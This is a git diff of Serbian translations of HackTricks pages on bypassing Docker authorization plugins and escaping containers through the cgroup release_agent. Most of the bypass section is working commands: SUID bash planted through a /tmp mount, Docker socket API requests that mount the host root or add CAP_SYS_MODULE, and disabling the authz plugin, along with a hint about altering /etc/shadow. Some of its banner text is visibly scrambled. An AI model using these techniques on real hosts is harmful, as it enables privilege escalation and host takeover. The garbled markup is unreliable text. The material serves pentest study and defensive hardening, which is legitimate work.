Tokom obrade zahteva/odgovora, neki tokovi autorizacije mogu zahtevati dodatne upite Docker demonu. Da bi se završili takvi tokovi, plugini mogu pozvati API demona slično kao redovan korisnik. Da bi omogućili ove dodatne upite, plugin mora obezbediti način da administrator konfiguriše odgovarajuće autentifikaciju i sigurnosne politike.
|
||||
Tokom obrade zahteva/odgovora, neki tokovi autorizacije mogu zahtevati dodatne upite ka Docker demonu. Da bi se završili takvi tokovi, dodaci mogu pozvati API demona slično kao običan korisnik. Da bi omogućili ove dodatne upite, dodatak mora obezbediti sredstva za administratora da konfiguriše odgovarajuće politike autentifikacije i bezbednosti.
|
||||
|
||||
## Više Pluginova
|
||||
## Nekoliko dodataka
|
||||
|
||||
Vi ste odgovorni za **registrovanje** vašeg **plugina** kao deo pokretanja Docker demona. Možete instalirati **više pluginova i povezati ih zajedno**. Ovaj lanac može biti uređen. Svaki zahtev demonu prolazi kroz lanac redom. Samo kada **svi pluginovi odobre pristup** resursu, pristup je odobren.
|
||||
Vi ste odgovorni za **registraciju** vašeg **dodatka** kao deo **pokretanja** Docker demona. Možete instalirati **više dodataka i povezati ih**. Ova veza može biti uređena. Svaki zahtev ka demonu prolazi redom kroz ovu vezu. Samo kada **svi dodaci odobre pristup** resursu, pristup se odobrava.
|
||||
|
||||
# Primeri Pluginova
|
||||
# Primeri dodataka
|
||||
|
||||
## Twistlock AuthZ Broker
|
||||
|
||||
Plugin [**authz**](https://github.com/twistlock/authz) vam omogućava da kreirate jednostavan **JSON** fajl koji će plugin **čitati** kako bi autorizovao zahteve. Na taj način vam pruža mogućnost da veoma lako kontrolišete koje API tačke mogu dostići svaki korisnik.
|
||||
Dodatak [**authz**](https://github.com/twistlock/authz) vam omogućava da kreirate jednostavnu **JSON** datoteku koju će **dodatak** **čitati** da bi autorizovao zahteve. Stoga, pruža vam priliku da vrlo lako kontrolišete koji API krajnji tačke mogu da dostignu svaki korisnik.
|
||||
|
||||
Ovo je primer koji će dozvoliti Alice i Bob-u da kreiraju nove kontejnere: `{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}`
|
||||
Ovo je primer koji će omogućiti Alisi i Bobu da kreiraju nove kontejnere: `{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}`
|
||||
|
||||
Na stranici [route\_parser.go](https://github.com/twistlock/authz/blob/master/core/route\_parser.go) možete pronaći vezu između traženog URL-a i akcije. Na stranici [types.go](https://github.com/twistlock/authz/blob/master/core/types.go) možete pronaći vezu između imena akcije i akcije.
|
||||
Na stranici [route\_parser.go](https://github.com/twistlock/authz/blob/master/core/route\_parser.go) možete pronaći odnos između traženog URL-a i akcije. Na stranici [types.go](https://github.com/twistlock/authz/blob/master/core/types.go) možete pronaći odnos između imena akcije i akcije.
|
||||
|
||||
## Jednostavan Tutorijal za Plugin
|
||||
## Jednostavan vodič za dodatke
|
||||
|
||||
Možete pronaći **lako razumljiv plugin** sa detaljnim informacijama o instalaciji i debagovanju ovde: [**https://github.com/carlospolop-forks/authobot**](https://github.com/carlospolop-forks/authobot)
|
||||
Možete pronaći **lako razumljiv dodatak** sa detaljnim informacijama o instalaciji i debagovanju ovde: [**https://github.com/carlospolop-forks/authobot**](https://github.com/carlospolop-forks/authobot)
|
||||
|
||||
Pročitajte `README` i kod `plugin.go` da biste razumeli kako radi.
|
||||
Pročitajte `README` i `plugin.go` kod da biste razumeli kako funkcioniše.
|
||||
|
||||
# Bypass Docker Auth Plugin
|
||||
# Docker Auth Plugin Bypass
|
||||
|
||||
## Nabrojavanje pristupa
|
||||
## Enumeracija pristupa
|
||||
|
||||
Glavne stvari koje treba proveriti su **koje tačke su dozvoljene** i **koje vrednosti HostConfig su dozvoljene**.
|
||||
Glavne stvari koje treba proveriti su **koje krajnje tačke su dozvoljene** i **koje vrednosti HostConfig su dozvoljene**.
|
||||
|
||||
Da biste izvršili ovu nabrojavanje, možete **koristiti alat** [**https://github.com/carlospolop/docker\_auth\_profiler**](https://github.com/carlospolop/docker\_auth\_profiler)**.**
|
||||
Da biste izvršili ovu enumeraciju, možete **koristiti alat** [**https://github.com/carlospolop/docker\_auth\_profiler**](https://github.com/carlospolop/docker\_auth\_profiler)**.**
|
||||
|
||||
## Nedozvoljen `run --privileged`
|
||||
## zabranjeno `run --privileged`
|
||||
|
||||
### Minimalne privilegije
|
||||
```bash
|
||||
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
|
||||
```
|
||||
### Pokretanje kontejnera i dobijanje privilegovanog sesije
|
||||
### Pokretanje kontejnera i zatim dobijanje privilegovane sesije
|
||||
|
||||
U ovom slučaju, sistem administrator **onemogućio je korisnicima da montiraju volumene i pokreću kontejnere sa `--privileged` zastavicom** ili daju bilo kakvu dodatnu sposobnost kontejneru:
|
||||
U ovom slučaju, sysadmin **nije dozvolio korisnicima da montiraju volumene i pokreću kontejnere sa `--privileged` oznakom** ili daju bilo koju dodatnu sposobnost kontejneru:
|
||||
```bash
|
||||
docker run -d --privileged modified-ubuntu
|
||||
docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed.
|
||||
See 'docker run --help'.
|
||||
```
|
||||
Međutim, korisnik može **kreirati shell unutar pokrenutog kontejnera i dati mu dodatne privilegije**:
|
||||
Međutim, korisnik može **napraviti shell unutar pokrenutog kontejnera i dati mu dodatne privilegije**:
|
||||
```bash
|
||||
docker run -d --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu
|
||||
#bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de
|
||||
|
@ -89,11 +94,11 @@ docker exec -it ---cap-add=ALL bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be
|
|||
# With --cap-add=SYS_ADMIN
|
||||
docker exec -it ---cap-add=SYS_ADMIN bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash
|
||||
```
|
||||
Sada korisnik može da pobegne iz kontejnera koristeći bilo koju od [**prethodno diskutovanih tehnika**](./#privileged-flag) i **poveća privilegije** unutar hosta.
|
||||
Sada, korisnik može da pobegne iz kontejnera koristeći neku od [**prethodno diskutovanih tehnika**](./#privileged-flag) i **poveća privilegije** unutar hosta.
|
||||
|
||||
## Montiranje foldera sa dozvolom pisanja
|
||||
## Montiranje Writable Folder-a
|
||||
|
||||
U ovom slučaju, sistem administrator je **onemogućio korisnicima da pokreću kontejnere sa `--privileged` zastavicom** ili daje bilo kakve dodatne mogućnosti kontejneru, i dozvolio je samo montiranje `/tmp` foldera:
|
||||
U ovom slučaju, sysadmin je **zabranio korisnicima da pokreću kontejnere sa `--privileged` flagom** ili daju bilo kakvu dodatnu sposobnost kontejneru, i dozvolio je samo montiranje `/tmp` foldera:
|
||||
```bash
|
||||
host> cp /bin/bash /tmp #Cerate a copy of bash
|
||||
host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell
|
||||
|
@ -103,25 +108,25 @@ host> /tmp/bash
|
|||
-p #This will give you a shell as root
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Imajte na umu da možda ne možete montirati direktorijum `/tmp`, ali možete montirati **drug direktorijum za pisanje**. Možete pronaći direktorijume za pisanje koristeći: `find / -writable -type d 2>/dev/null`
|
||||
Napomena da možda ne možete montirati folder `/tmp`, ali možete montirati **drugi zapisiv folder**. Možete pronaći zapisive direktorijume koristeći: `find / -writable -type d 2>/dev/null`
|
||||
|
||||
**Imajte na umu da neće svi direktorijumi na Linux mašini podržavati suid bit!** Da biste proverili koji direktorijumi podržavaju suid bit, pokrenite `mount | grep -v "nosuid"`. Na primer, obično `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` i `/var/lib/lxcfs` ne podržavaju suid bit.
|
||||
**Napomena da ne podržavaju svi direktorijumi na linux mašini suid bit!** Da biste proverili koji direktorijumi podržavaju suid bit, pokrenite `mount | grep -v "nosuid"`. Na primer, obično `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` i `/var/lib/lxcfs` ne podržavaju suid bit.
|
||||
|
||||
Takođe imajte na umu da ako možete **montirati `/etc`** ili bilo koji drugi direktorijum **koji sadrži konfiguracione fajlove**, možete ih promeniti iz Docker kontejnera kao root kako biste ih zloupotrebili na hostu i eskalirali privilegije (možda izmenom `/etc/shadow`).
|
||||
Takođe, napomena da ako možete **montirati `/etc`** ili bilo koji drugi folder **koji sadrži konfiguracione fajlove**, možete ih promeniti iz docker kontejnera kao root kako biste **zloupotrebili na hostu** i eskalirali privilegije (možda modifikovanjem `/etc/shadow`)
|
||||
{% endhint %}
|
||||
|
||||
## Neproverena API tačka
|
||||
## Nepроверени API Endpoint
|
||||
|
||||
Odgovornost sistem administratora koji konfiguriše ovaj plugin je da kontroliše koje akcije i sa kojim privilegijama svaki korisnik može izvršiti. Stoga, ako administrator koristi **crnu listu** za pristupne tačke i atribute, može se desiti da **zaboravi neke od njih** koje bi omogućile napadaču da eskalira privilegije.
|
||||
Odgovornost sysadmin-a koji konfiguriše ovaj plugin biće da kontroliše koje akcije i sa kojim privilegijama svaki korisnik može da izvrši. Stoga, ako admin preuzme pristup **crnoj listi** sa endpoint-ima i atributima, može **zaboraviti neke od njih** koji bi mogli omogućiti napadaču da **eskalira privilegije.**
|
||||
|
||||
Možete proveriti Docker API na [https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#)
|
||||
Možete proveriti docker API na [https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#)
|
||||
|
||||
## Neproverena JSON struktura
|
||||
## Nepроверena JSON Struktura
|
||||
|
||||
### Binds u root-u
|
||||
### Binds u root
|
||||
|
||||
Moguće je da je sistem administrator prilikom konfigurisanja Docker firewall-a **zaboravio na neki važan parametar** [**API-ja**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) kao što je "**Binds**".\
|
||||
U sledećem primeru moguće je iskoristiti ovu konfiguraciju da se kreira i pokrene kontejner koji montira root (/) folder hosta:
|
||||
Moguće je da kada je sysadmin konfigurisao docker firewall, **zaboravio na neki važan parametar** [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) kao što je "**Binds**".\
|
||||
U sledećem primeru moguće je zloupotrebiti ovu pogrešnu konfiguraciju da se kreira i pokrene kontejner koji montira root (/) folder hosta:
|
||||
```bash
|
||||
docker version #First, find the API version of docker, 1.40 in this example
|
||||
docker images #List the images available
|
||||
|
@ -132,30 +137,30 @@ docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it
|
|||
#You can access the host filesystem
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Primetite kako u ovom primeru koristimo **`Binds`** parametar kao ključ na nivou korena u JSON-u, ali u API-ju se pojavljuje pod ključem **`HostConfig`**
|
||||
Obratite pažnju na to kako u ovom primeru koristimo **`Binds`** parametar kao ključ na vrhunskom nivou u JSON-u, ali u API-ju se pojavljuje pod ključem **`HostConfig`**
|
||||
{% endhint %}
|
||||
|
||||
### Binds u HostConfig-u
|
||||
### Binds u HostConfig
|
||||
|
||||
Sledite iste instrukcije kao i za **Binds u korenu** izvršavajući ovaj **zahtev** prema Docker API-ju:
|
||||
Pratite iste upute kao sa **Binds u root** izvršavajući ovaj **request** ka Docker API-ju:
|
||||
```bash
|
||||
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Binds":["/:/host"]}}' http:/v1.40/containers/create
|
||||
```
|
||||
### Montaže u korenu
|
||||
### Mounts in root
|
||||
|
||||
Pratite iste instrukcije kao i za **Veze u korenu** izvršavajući ovaj **zahtev** prema Docker API-ju:
|
||||
Pratite iste upute kao i za **Binds in root** izvršavajući ovu **request** ka Docker API:
|
||||
```bash
|
||||
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}' http:/v1.40/containers/create
|
||||
```
|
||||
### Montaže u HostConfig-u
|
||||
### Mounts in HostConfig
|
||||
|
||||
Pratite iste instrukcije kao i za **Veze u root-u** izvršavajući ovaj **zahtev** prema Docker API-ju:
|
||||
Pratite iste instrukcije kao sa **Binds in root** izvršavajući ovaj **request** ka Docker API:
|
||||
```bash
|
||||
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "HostConfig":{"Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}}' http:/v1.40/containers/cre
|
||||
```
|
||||
## Neprovereni JSON atribut
|
||||
## Unchecked JSON Attribute
|
||||
|
||||
Moguće je da je sistem administrator prilikom konfigurisanja docker firewall-a **zaboravio na neki važan atribut parametra** [**API-ja**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) kao što je "**Capabilities**" unutar "**HostConfig**". U sledećem primeru je moguće iskoristiti ovu lošu konfiguraciju kako bi se kreirao i pokrenuo kontejner sa **SYS\_MODULE** sposobnostima:
|
||||
Moguće je da je kada je sistem administrator konfigurisao docker vatrozid **zaboravio na neki važan atribut parametra** [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) kao što je "**Capabilities**" unutar "**HostConfig**". U sledećem primeru moguće je iskoristiti ovu pogrešnu konfiguraciju da se kreira i pokrene kontejner sa **SYS\_MODULE** sposobnošću:
|
||||
```bash
|
||||
docker version
|
||||
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create
|
||||
|
@ -166,12 +171,12 @@ capsh --print
|
|||
#You can abuse the SYS_MODULE capability
|
||||
```
|
||||
{% hint style="info" %}
|
||||
**`HostConfig`** je ključ koji obično sadrži **zanimljive** **privilegije** za bekstvo iz kontejnera. Međutim, kao što smo već diskutovali, primetite kako korišćenje Binds izvan njega takođe funkcioniše i može vam omogućiti da zaobiđete ograničenja.
|
||||
**`HostConfig`** је кључ који обично садржи **занимљиве** **права** за бекство из контејнера. Међутим, као што смо раније расправљали, приметите како коришћење Binds ван њега такође функционише и може вам омогућити да заобиђете ограничења.
|
||||
{% endhint %}
|
||||
|
||||
## Onemogućavanje dodatka
|
||||
## Онемогућавање Плугинa
|
||||
|
||||
Ako je **sistemski administrator** **zaboravio** da **zabrani** mogućnost **onemogućavanja** dodatka, možete iskoristiti to da ga potpuno onemogućite!
|
||||
Ако је **систем администратор** **заборавио** да **забрани** могућност **онемогућавања** **плугинa**, можете искористити ово да га потпуно онемогућите!
|
||||
```bash
|
||||
docker plugin list #Enumerate plugins
|
||||
|
||||
|
@ -183,27 +188,32 @@ docker plugin disable authobot
|
|||
docker run --rm -it --privileged -v /:/host ubuntu bash
|
||||
docker plugin enable authobot
|
||||
```
|
||||
Zapamtite da **ponovo omogućite dodatak nakon eskalacije**, inače **restartovanje docker servisa neće raditi**!
|
||||
Zapamtite da **ponovo omogućite dodatak nakon eskalacije**, ili **ponovno pokretanje docker usluge neće raditi**!
|
||||
|
||||
## Bypass writeups za Auth Plugin
|
||||
## Auth Plugin Bypass writeups
|
||||
|
||||
* [https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/](https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/)
|
||||
|
||||
## Reference
|
||||
## References
|
||||
{% hnt stye="acceas" %}
|
||||
AWS Ha& practice ckinH:<img :<imgsscc="/.gitb=ok/assgts/aite.png"balo=""kdata-siza="line">[**HackTsscke Tpaigin"aAWS Red Tetm=Exp rt (ARTE)**](a-size="line">[**HackTricks Training AWS Red)ethgasic="..giyb/okseasert/k/.png"l=""data-ize="line">\
|
||||
Learn & aciceGCP ng<imgsrc="/.gibok/asts/gte.g"lt="" aa-iz="le">[**angGC RedTamExper(GE)<img rc=".okaetgte.ng"salm=""adara-siz>="k>ne">tinhaktckxyzurssgr)
|
||||
|
||||
* [https://docs.docker.com/engine/extend/plugins\_authorization/](https://docs.docker.com/engine/extend/plugins\_authorization/)
|
||||
<dtil>
|
||||
|
||||
<ummr>SupportHackTricks</smmay>
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini da podržite HackTricks:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
*Chek th [**subsrippangithub.cm/sorsarlosp!
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!haktick\_ive\
|
||||
* **Join 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,36 +1,38 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite videti **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzeti HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
Za dalje detalje **proverite blog post sa [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)**. Ovo je samo sažetak:
|
||||
Za više detalja **proverite blog post na [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)**. Ovo je samo sažetak:
|
||||
|
||||
Tehnika opisuje metod za **izvršavanje host koda iz kontejnera**, prevazilazeći izazove koje postavljaju konfiguracije storage drajvera koje prikrivaju putanju kontejnera na hostu, poput Kata kontejnera ili specifičnih `devicemapper` podešavanja.
|
||||
Tehnika opisuje metodu za **izvršavanje koda domaćina iz kontejnera**, prevazilaženje izazova koje postavljaju konfiguracije drajvera za skladištenje koje prikrivaju putanju datoteke kontejnera na domaćinu, kao što su Kata Containers ili specifične `devicemapper` postavke.
|
||||
|
||||
Ključni koraci:
|
||||
|
||||
1. **Lociranje Process ID-eva (PID-ova):** Korišćenjem simboličke veze `/proc/<pid>/root` u Linux pseudo-fajl sistemu, bilo koji fajl unutar kontejnera može se pristupiti relativno u odnosu na fajl sistem hosta. Ovo zaobilazi potrebu za poznavanjem putanje fajl sistema kontejnera na hostu.
|
||||
2. **Brute Force PID:** Koristi se metoda grubog sile za pretragu PID-ova na hostu. Ovo se postiže sekvenčnim proveravanjem prisustva određenog fajla na putanji `/proc/<pid>/root/<file>`. Kada se fajl pronađe, to ukazuje da odgovarajući PID pripada procesu koji se izvršava unutar ciljnog kontejnera.
|
||||
3. **Pokretanje Izvršavanja:** Pretpostavljena putanja PID-a se upisuje u fajl `cgroups release_agent`. Ova akcija pokreće izvršavanje `release_agent`-a. Uspeh ovog koraka se potvrđuje proverom kreiranja izlaznog fajla.
|
||||
1. **Lociranje ID-eva procesa (PID-ova):** Korišćenjem simboličke veze `/proc/<pid>/root` u Linux pseudo-datotečnom sistemu, bilo koja datoteka unutar kontejnera može se pristupiti u odnosu na datotečni sistem domaćina. Ovo zaobilazi potrebu da se zna putanja datoteke kontejnera na domaćinu.
|
||||
2. **PID Bashing:** Koristi se pristup silom da se pretražuju PID-ovi na domaćinu. Ovo se radi sekvencijalnim proveravanjem prisustva specifične datoteke na `/proc/<pid>/root/<file>`. Kada se datoteka pronađe, to ukazuje da odgovarajući PID pripada procesu koji se izvršava unutar ciljanog kontejnera.
|
||||
3. **Pokretanje izvršenja:** Pogađana putanja PID-a se upisuje u datoteku `cgroups release_agent`. Ova akcija pokreće izvršenje `release_agent`. Uspeh ovog koraka se potvrđuje proverom kreiranja izlazne datoteke.
|
||||
|
||||
### Proces eksploatacije
|
||||
|
||||
Proces eksploatacije uključuje detaljniji set akcija, sa ciljem izvršavanja payload-a na hostu pogađanjem tačnog PID-a procesa koji se izvršava unutar kontejnera. Evo kako se odvija:
|
||||
Proces eksploatacije uključuje detaljniji set akcija, sa ciljem izvršavanja payload-a na domaćinu pogađanjem tačnog PID-a procesa koji se izvršava unutar kontejnera. Evo kako se odvija:
|
||||
|
||||
1. **Inicijalizacija Okruženja:** Skripta payload-a (`payload.sh`) se priprema na hostu, i kreira se jedinstveni direktorijum za manipulaciju cgroup-om.
|
||||
2. **Priprema Payload-a:** Payload skripta, koja sadrži komande koje će se izvršiti na hostu, se piše i čini izvršivom.
|
||||
3. **Podešavanje Cgroup-a:** Cgroup se montira i konfiguriše. Zastavica `notify_on_release` se postavlja kako bi se osiguralo da payload izvrši kada se cgroup oslobodi.
|
||||
4. **Brute Force PID:** Petlja prolazi kroz potencijalne PID-ove, upisujući svaki pretpostavljeni PID u fajl `release_agent`. Ovo efektivno postavlja payload skriptu kao `release_agent`.
|
||||
5. **Pokretanje i Provera Izvršavanja:** Za svaki PID, upisuje se `cgroup.procs` cgroup-a, pokrećući izvršavanje `release_agent`-a ako je PID tačan. Petlja se nastavlja dok se ne pronađe izlaz payload skripte, što ukazuje na uspešno izvršavanje.
|
||||
1. **Inicijalizacija okruženja:** Payload skripta (`payload.sh`) se priprema na domaćinu, a jedinstveni direktorijum se kreira za manipulaciju cgroup-om.
|
||||
2. **Priprema payload-a:** Payload skripta, koja sadrži komande koje treba izvršiti na domaćinu, se piše i postavlja kao izvršna.
|
||||
3. **Postavljanje cgroup-a:** Cgroup se montira i konfiguriše. `notify_on_release` zastavica se postavlja da osigura da se payload izvrši kada se cgroup oslobodi.
|
||||
4. **Brute Force PID:** Petlja prolazi kroz potencijalne PID-ove, upisujući svaki pogađani PID u datoteku `release_agent`. Ovo efektivno postavlja payload skriptu kao `release_agent`.
|
||||
5. **Pokretanje i provera izvršenja:** Za svaki PID, `cgroup.procs` se upisuje, pokrećući izvršenje `release_agent` ako je PID tačan. Petlja se nastavlja dok se ne pronađe izlaz payload skripte, što ukazuje na uspešno izvršenje.
|
||||
|
||||
PoC iz blog posta:
|
||||
```bash
|
||||
|
@ -92,16 +94,19 @@ sleep 1
|
|||
echo "Done! Output:"
|
||||
cat ${OUTPUT_PATH}
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,27 @@
|
|||
# Docker --privileged
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
